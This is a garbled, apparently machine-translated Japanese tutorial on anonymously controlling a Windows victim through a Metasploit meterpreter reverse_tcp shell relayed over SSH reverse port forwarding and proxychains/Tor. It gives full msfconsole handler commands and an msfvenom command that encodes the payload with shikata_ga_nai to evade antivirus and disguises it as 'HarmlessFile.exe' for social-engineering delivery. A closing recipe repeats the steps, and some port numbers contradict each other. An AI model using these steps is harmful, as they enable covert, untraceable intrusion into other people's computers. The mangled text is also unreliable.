å 責äºé ïŒãã¥ã¯ãã¯äœå®¶ã§ã¯ãªããèŠåå¡ã§ããããŸãããäžè¬çã«ãããããåéã®å°é家ãšããŠã®å°äœã¯ã»ãšãã©ãããŸããã ããããChukchiã¯torãä»ããétcpãæãã§ããã®ã§ããããèªãå¿ èŠããããŸãã ãŸããèš±å¯ãããå Žæã§ã®ã¿ãã®ãããªã¢ã¯ã·ã§ã³ãå®è¡ã§ããããšãå¿ããªãã§ãã ãããããããªããšãåæ³ã®ããã€ãã®èšäºã§è ããããŸãã
ãšã³ããªãŒ
Windowsãã·ã³ã«ç©ŽãèŠã€ããŠãããã貫éããããšããŸãã ãªãã·ã§ã³ãæ€èšããŠãã ãããéåžžã®cmdã¯ãç§ãã¡ãmeterpreterã®å Žåã«ã¯èå³ããããŸãããããã«ã€ããŠèª¬æããŸãã
meterpreterã·ã§ã«ã«æ¥ç¶ããããã®2ã€ã®åºæ¬ååããããŸãïŒãã©ã¯ãŒããšãªããŒã¹ã meterpreterã«ã¯å€ãã®æ¥ç¶ãªãã·ã§ã³ããããŸããããã®èšäºã§ã¯bind tcpïŒdirectïŒãšreverse tcpïŒreverseïŒã«ã€ããŠã®ã¿èª¬æããŸãã
bind tcpã䜿çšããŠè¢«å®³è ã®ããŒããéãããããã·ãŸãã¯ããŒã©ã¹ãä»ããŠæ¥ç¶ããå Žåãã©ã®ãããªèœãšãç©ŽããããŸããïŒ ãŸãã被害è ã®ãã¡ã€ã¢ãŠã©ãŒã«ã¯ããã®ãããŸããªããã°ã©ã ããªããªã³ã©ã€ã³ã«ãªãããšããŠããã®ããå°ããŸããããã§ãã¹ãã§ããŸããïŒ ãŠãŒã¶ãŒãç§ãã¡ã®ããã°ã©ã ãããŒããéãã®ã«ååãªæããïŒã»ãšãã©ã®å ŽåïŒã§ãããã€ã³ã¿ãŒãããã«çŽæ¥ã¢ã¯ã»ã¹ããçœãIPãæã£ãŠãã人ã«èªåããŠã¿ãŸãããã ãããã®ã»ãšãã©ã¯æ®ã£ãŠããŸããããä»ã§ã¯ã«ãŒã¿ãŒã¯ã©ãã«ã§ãããã®ã§ãããŒãã¯å éšãããã¯ãŒã¯ã§ã®ã¿å©çšå¯èœã«ãªããŸãã æ··ä¹±ããŠããŒããããã·ã¥ãããšãæåŸã®åé¡ãæ®ããŸããæ¥ç¶ããã«ã¯ipãç¥ãå¿ èŠããããå®æçã«å€æŽã§ããŸãã ãã ããäžèšã®ãã¹ãŠã®æ¡ä»¶ãæºããããŠããå Žåã¯ãã©ãããã§ããããã·ã®ãã§ãŒã³ãä»ããŠæ¥ç¶ã§ããŸãã
éTCPæ¥ç¶ã¯ã©ãã§ããïŒ ãã¡ã€ã¢ãŠã©ãŒã«ã¯èªããŸãããã«ãŒã¿ãŒãé害ã§ã¯ãããŸãã-被害è ã¯ç§ãã¡èªèº«ã«æ¥ç¶ããã®ã§ãIPã¢ãã¬ã¹ãç£èŠããå¿ èŠã¯ãããŸããã ããããåé¡ã¯ãã£ãšæ·±å»ã§ã-å¿åæ§ã 被害è ãã©ãã«æ¥ç¶ãããã瀺ãå¿ èŠããããŸããã€ãŸããåãnetstatã§ç¢ºèªã§ããIPãèšè¿°ããŸãã ãããŠã圌ããèšãããã«ãããããªã¹ãŒãã®åç¶ãŸãã¯æ£ããç¥äººãæã€åŸ©ã®ç ç²è ã¯ãipã§èšç®ã
ã©ãããïŒ å¿åæ§ãç¶æããã©ãããã§ããã°ã€ã³ã§ããããã«ããæ¹æ³ã¯ïŒ
ãã®ç¶æ³ãã次ã®æ¹æ³ãèŠã€ããŸããïŒsshã¢ã¯ã»ã¹ãåããäžéãµãŒããŒãå¿ èŠã§ããç ç²è ã¯tcpãéã«ããŸãããã®ãµãŒããŒããèªåèªèº«ã«ããŒãã転éããç ç²è ã«æ¥ç¶ããŸãã ããªããçªç¶äœãç解ããªããŠããå¿é ããªãã§ãã ããã
åææ¡ä»¶
以äžã®æ¡ä»¶äžã§ããã»ã¹å šäœã説æããŸãã
- æ»æåŽã¯ãIPã¢ãã¬ã¹192.168.1.50ã® Kali Linux 2ä»®æ³ãã·ã³ã§ãã
- 被害è ã¯ã Windows 7ãæèŒããä»®æ³ãã·ã³ã«ãªããŸã ã IP- 192.168.1.146
- äžçŽãèªã¿åã- ãããã· ããµãŒããŒã¯IP 192.168.1.10ã® Fedora
ãããããã¹ãŠåããããã¯ãŒã¯äžã«ãããšããäºå®ãèŠãªãã§ãã ãã-ãã®æ¹æ³ã¯ããããã·ãµãŒããŒã被害è ãæ»æãã·ã³ããã¹ãŠç°ãªããããã¯ãŒã¯äžã«ããããã€ã³ã¿ãŒãããã«ã¢ã¯ã»ã¹ã§ããå Žåãå®éã®ç¶æ³ã§ã¯ããŸãæ©èœããŸãã
ãŸãã ãã³ãã©ãŒãå®è¡ããŸããããã¯ãããŒã4444ã§è¢«å®³è ããã®æ¥ç¶ãåŸ æ©ããæ¥ç¶æã«meterpreterãéä¿¡ããããã°ã©ã ã§ãã ãããè¡ãã«ã¯ã Kaliã³ãã³ãã©ã€ã³ã§msfconsoleãå®è¡ãã次ã®ã³ãã³ããå®è¡ããŸãã
ãã³ãã©ãŒã®éžæïŒ
use exploit/multi/handler
被害è ã«å¯ŸããŠãéæ¥ç¶ã§meterpreterãã€ããŒããå®è¡ããããšãéç¥ããŸãã
set PAYLOAD windows/meterpreter/reverse_tcp
è² è·ãã©ã¡ãŒã¿ãæå®ããŸã-IPã¢ãã¬ã¹ã®ããŒã4444ã§ãªãã¹ã³ããŸãïŒåŸã§127.0.0.1ãæå®ããªãã§ãã ããïŒã
set LHOST 192.168.1.50 set LPORT 4444
éå§ããããè¯ãæéãŸã§ãã®ãã©ãŒã ã«æ®ããŸãã
run
ãã€ããŒãã§exeãäœæãã
次ã«ãããã°ã©ã ãçæããŸãããã®ããã°ã©ã ã¯ããããã·ãä»ããŠæ¥ç¶ãããŸãã æ°ããã¿ãŒããã«ã¿ããéãã次ãå ¥åããŸãã
msfvenom -a x86 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=22222 -e x86/shikata_ga_nai -i 13 -b '\x00' > HarmlessFile.exe
åŒæ°ã«ã€ããŠç°¡åã«è©±ããŠãã ããã
æåã®3ã€ã¯æããã§ã-ããã»ããµã¢ãŒããã¯ãã£ããã©ãããã©ãŒã ãããã³åºåãã¡ã€ã«åœ¢åŒã -påŒæ°ã¯ãMetasploitã«å°ã粟éããŠãã人ã«ã¯ããã«ããããŸããmeterpreterã·ã§ã«ããã€ããŒããšããŠéžæããŸããããã®ã·ã§ã«ã¯ããã®å Žåãããã·ãµãŒããŒã«å±ããLHOSTãã¹ãã®LPORTããŒãã«æ¥ç¶ããŸãã
æåŸã®3ã€ã®åŒæ°ã¯ããŠã€ã«ã¹å¯Ÿçããã€ãã¹ããããã®æå·åæ¹æ³ã説æããŸãïŒåæã«ããŠã€ã«ã¹å¯Ÿçãã ãŸãããšãã§ãããã©ããã確èªããŸãïŒã ãã®å Žåãå€æ æ§XORãšã³ã³ãŒãã®shikata ga naiã® 13åã®å埩ã䜿çšãã-bã䜿çšããŠãŒããã€ãããäžè¯ããšããŒã¯ããŸããã€ãŸããåé¿ããå¿ èŠããããšèšããŸãã ãã®ãã¹ãŠãHarmlessFile.exeãã¡ã€ã«ã«æžã蟌ãŸããŸãããã®ãã¡ã€ã«ã¯ãcãªè©æ¬ºã®å©ããåããŠè¢«å®³è ã«é ä¿¡ããå¿ èŠããããŸãã ããããç§ã¯ä»®æ³ãã·ã³ã®ãã¹ã¿ãŒãªã®ã§ãKaliããWindowsã«ã³ããŒããã ãã§ãã
ã¢ãã¹ãã¯ããããããèªãããã«è åšãçºè¡šããããããã¹ãã«å¹²æžããªãããã«ãã®å Žã§æ®ºãããŸããã ãã¡ã€ã«ãé 眮ãããŸããããµãŒããŒãæºåããŸãããã
ãµãŒããŒã®ã»ããã¢ãã
éçããŒã転éã䜿çšããŸãã
SOCKSãããã·ã§ã¯ãªãéçãªã®ã¯ãªãã§ããïŒ
圌ãã¯ãããã¯SOCKSãããã·ãä»ããŠè¡ãããšãã§ãããšèšã£ãŠããŸãããæåã«ããããªãã£ãçç±ãæããŠãã ããã ç¥ããªã人ã®ããã«ã ssh -D 8181 user@192.168.1.10ã³ãã³ãã䜿çšããŠããµãŒããŒã§SOCKSãããã·ãéããããšãã°ãããã·ãã§ãŒã³ã䜿çšããŠã192.168.1.10ãä»ããŠãã¹ãŠã®ãªã¯ãšã¹ãããããã·ã§ããããšã説æããŸãã ãããã·ãã§ãŒã³ãä»ããŠã¡ã¿ã¹ããã€ããåäœãããããšãã§ããŸããã§ããã ã€ãŸãããããã·ãã§ãŒã³ãä»ããŠèµ·åãããããã«èŠããŸããããã³ãã©ãå®è¡ããããšã«ãªããšãäœããã®çç±ã§ãããã·ãµãŒããŒã§ã¯ãªãç§ã®ãã·ã³ã§ãªãã¹ã³ãéå§ããŸãã
äœæããexeã§ã¯ãããŒãã¯22222ã§ãKaliã§ã¯ããŒã4444ããªãã¹ã³ããŠããŸãããããã£ãŠããµãŒããŒããŒã22222ã«çä¿¡ãããã¹ãŠã®ãªã¯ãšã¹ããããŒã4444ã«éä¿¡ãããããã«ãKaliã§æ¬¡ã®ã³ãã³ããèšè¿°ããå¿ èŠããããŸãã
ssh -v -N -R 22222:127.0.0.1:4444 user@192.168.1.10
ãããããŸããããªãçç±ãç解ããããã«ããã®ããŒã ã§äœãéæããããç解ããŸãã ç»é¢ã«äœãèµ·ãã£ãŠãããã«é¢ããæ å ±ããããšããç§ã¯ããã奜ããªã®ã§ã-vãè¿œå ããŸããããã·ã§ã«ã«ã¢ã¯ã»ã¹ããå¿ èŠã¯ãªãã®ã§ã-NïŒãã®å Žåã§ãããµãŒããŒäžã®èª°ã«ã衚瀺ãããŸããïŒã ããžãã¯åŒæ°-R 127.0.0.1:22222:127.0.0.1:4444ã¯ããã±ããããªãã€ã¬ã¯ãããããã®ã«ãŒã«ãèšè¿°ããŠããŸãïŒãµãŒããŒã¢ãã¬ã¹127.0.0.1:22222ããããŒã«ã«ã¢ãã¬ã¹127.0.0.1:4444ãžã æåã®127.0.0.1ãæ瀺ãããŠãããããçç¥ããŸãã
ãã¥ã¢ã³ã¹ã¯ãããã©ã«ãã§ã¯ããã®æ¹æ³ã§ãµãŒããŒäžã§è»¢éãããããŒãã¯ãµãŒããŒlocalhostããã®ã¿ã¢ã¯ã»ã¹å¯èœã§ãããå€éšããæ¥ç¶ããããšããŠãäœãèµ·ãããããšã©ãŒãçºçããªãããšã§ãã
ç¶æ³ãä¿®æ£ããŸããã-ãããã·ãµãŒããŒã§sshããŒã¢ã³ã®èšå®ãéããŸã- / etc / ssh / sshd_config ã GatewayPortsè¡ãæ¢ããã³ã¡ã³ããå€ããŠyesã«èšå®ããŸã ã service sshd reloadçµç±ã§èšå®ããªããŒãã ãä»åºŠã¯å®å¿ããŠã³ãã³ããå®è¡ããŸãã
ãããŠä»ãèå³æ·±ãç¹ã§ãã ãã®ãããªæäœããã¹ãŠè¡ã£ãã°ããã§ã被害è ããã³ãã©ãŒã«æ¥ç¶ããã¡ãŒã¿ãŒèšç®æ©ã®ã³ãã³ãã©ã€ã³ãæ£åžžã«éãããšãã§ããŸããããã³ãã³ãïŒãã«ããå«ãïŒãå ¥åãããšãã¯ã€ã«ããšã©ãŒã§æ¥ç¶ãéããããŸããã ä»ãç§ãèšäºãæžããšãããã¹ãŠãæ©èœããŸãã ãšã«ããããŸããã£ããšããŠãã次ã®æ®µèœãèªãããšããå§ãããŸãã
é·æéã®ã°ãŒã°ã«æ€çŽ¢ã®åŸãMeterpriorã®éçºè ã¯ãLHOSTïŒã€ãŸãããªãã¹ã³ãããã¹ãã®ã¢ãã¬ã¹ïŒ127.0.0.1ãæå®ãã䟡å€ããªããšããã³ã¡ã³ããèŠã€ããŸããã 127.0.0.2ãŸãã¯0.0.0.0ã®ããã«èšè¿°ããå¿ èŠããããŸãã ãã ããæåã®ãªãã·ã§ã³ãéžæããå Žåã¯ãããŒãã127.0.0.2ã«è»¢éããå¿ èŠããããŸãã ãããããã®ãªãã·ã§ã³ã§ã¯ããšã©ãŒãçºçããŸããã ã°ãŒã°ã«ã§ããã«é·ãæéãéãããåŸãå¥ã®éçºè ãã³ã¡ã³ããèŠã€ããŸããã127.0.0.1ã ãã§ãªããåºæ¬çã«ã«ãŒãããã¯ã€ã³ã¿ãŒãã§ã€ã¹ã«ããã³ã°ã¢ããã§ããŸãããäºçŽãããŠãããå®å®ããŠåäœããªãããã§ãããããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ãããšãã°eth0ã ã ããç§ãã¡ã¯åœŒã«æããããŸãã ããŒã ã®åœ¢åŒã¯æ¬¡ã®ãšããã§ãã
ssh -v -N -R 22222:192.168.1.50:4444 user@192.168.1.10
ãã§ã«åªããŠããŸããããããã·ãã§ãŒã³ãä»ããŠèµ·åããããšã¯ã§ããŸããã ãããä¿®æ£ããããã«ããããã·ãä»ããŠsshãµãŒããŒãèªåèªèº«ã«è»¢éãããããä»ããŠMeterprinterã®ããŒãã転éããŸãã
圌ãã¯ãæšæºã®Kali 2ãã«ãã«å«ãŸãããããã·ãã§ãŒã³ã¯ãã§ã«å€ããé·ãéæŸæ£ãããŠãããšèšããŸãã ç§ã«ãšã£ãŠã¯ãã»ã°ã¡ã³ããŒã·ã§ã³ãšã©ãŒã§å®æçã«ã¯ã©ãã·ã¥ããŸããã ãããã£ãŠãç§ã¯ãããã proxychains4ïŒproxychains-ngïŒãèšå®ããå€ããã®ã¯ãããå°çã«é£ããŠè¡ããæºè¶³ããŸããã
sshãæž¡ããŸãã
proxychains4 ssh -v -N -L 42022:127.0.0.1:22 user@192.168.1.10
127.0.0.1-00-002022ã§ãããã·ãã§ãŒã³ãééãããªã¯ãšã¹ãã¯ãã¹ãŠ192.168.1.10:22ã«ãªãããããã·ãµãŒããŒãžã®å¿åã®sshã¢ã¯ã»ã¹ãååŸãããŸãã ã¡ãŒã¿ãŒã®ããŒãããããéããŠæããŸãã
ssh -v -N -R 22222:192.168.1.50:4444 user@127.0.0.1 -p 42002
192.168.1.10:22ã§ã¯ãªãã127.0.0.1-00-002002ã«æ£ç¢ºã«æ¥ç¶ããŠããããšã«æ³šæããŠãã ããã ãã¹ãŠæºåå®äºã§ãïŒ è¢«å®³è ã«
TL; DR;
被害è
ã®ã¡ãŒã¿ãŒæ
åœè
ããªããŒã¹tcpã®äœ¿çšã«åºå·ãããããã·ãšããŠãå·ŠåŽã®ãµãŒããŒã䜿çšããŸãã
- ããŒããšããŠmeperprinterã䜿çšããŠmetasploitã§ãã³ãã©ãŒãéå§ããå·ŠåŽã®ãµãŒããŒã®ã¢ãã¬ã¹ãæå®ããŸãã
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST KALI_ETH0_IP set LPORT PAYLOAD_PORT
- å·ŠåŽã®ãµãŒããŒã®sshdèšå®ã§ãGatewayPorts yesãæå®ããŸãã ããŒã©ã¹ã«èšå®ãããproxychains4ãä»ããŠãæåã«sshãèªåèªèº«ã«è»¢éããŸãïŒ
proxychains4 ssh -v -N -L 42022:127.0.0.1:22 USER@LEFT_SERVER_IP
- ãããããã¡ãŒã¿ãŒããªã¿ãŒããã£ã€ãããŒãã転éããŸãã
ssh -v -N -R PAYLOAD_PORT:KALI_ETH0_IP:PAYLOAD_PORT user@127.0.0.1 -p 42002
- ããŒããšããŠmeterpreter / reverse_tcpã䜿çšããŠexeãçæããŸãã
msfvenom -a x86 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=LEFT_SERVER_IP LPORT=PAYLOAD_PORT > payload.exe
- payload.exeã被害è ã«é ä¿¡ããå®è¡ããåãã§ããŸãã
ç§ã®ããã«åããæ¹æ³ã説æããå¿ èŠãªã¿ã¹ã¯ãå®è¡ãã-å¿åæ§ãšã¢ãã€ã«-2çªç®ã®äºçŽãããŸãã åãããšãéæããä»ã®ãããç°¡åãªæ¹æ³ããããããããŸããããç§ã¯ããããçºæããããšãã§ããŸããã§ããã
ç§ã®æåã®èšäºã¯ããªãã®æ³å»·ã«ãããŸã-建èšçãªæ¹å€ã¯å€§æè¿ã§ããPMã®ã¿ã€ããã¹ã«ã€ããŠãç¥ãããã ããã
䟿å©ãªãªã³ã¯ïŒ
sshãŠãŒã¶ãŒãžã®ã¡ã¢ã¯ãSSHæ©èœãç¹ã«SSHãã³ãã«ã«é¢ããçŽ æŽããã説æã§ãã
Meterpreteråºæ¬ã³ãã³ã -åºæ¬çãªMeterpreter'aã³ãã³ãã®èª¬æã
ããã«2ã€ã®å€ãèšäºããããŸãããããèå³æ·±ãMeterpreteræ©èœã®èª¬æãå«ãŸããŠããŸãã
Meterpreterãã€ããŒãã®ç§å¯
Meterpreterã®å®éïŒmsfã«ããããªãã¯
ãªããžããªproxychains-ng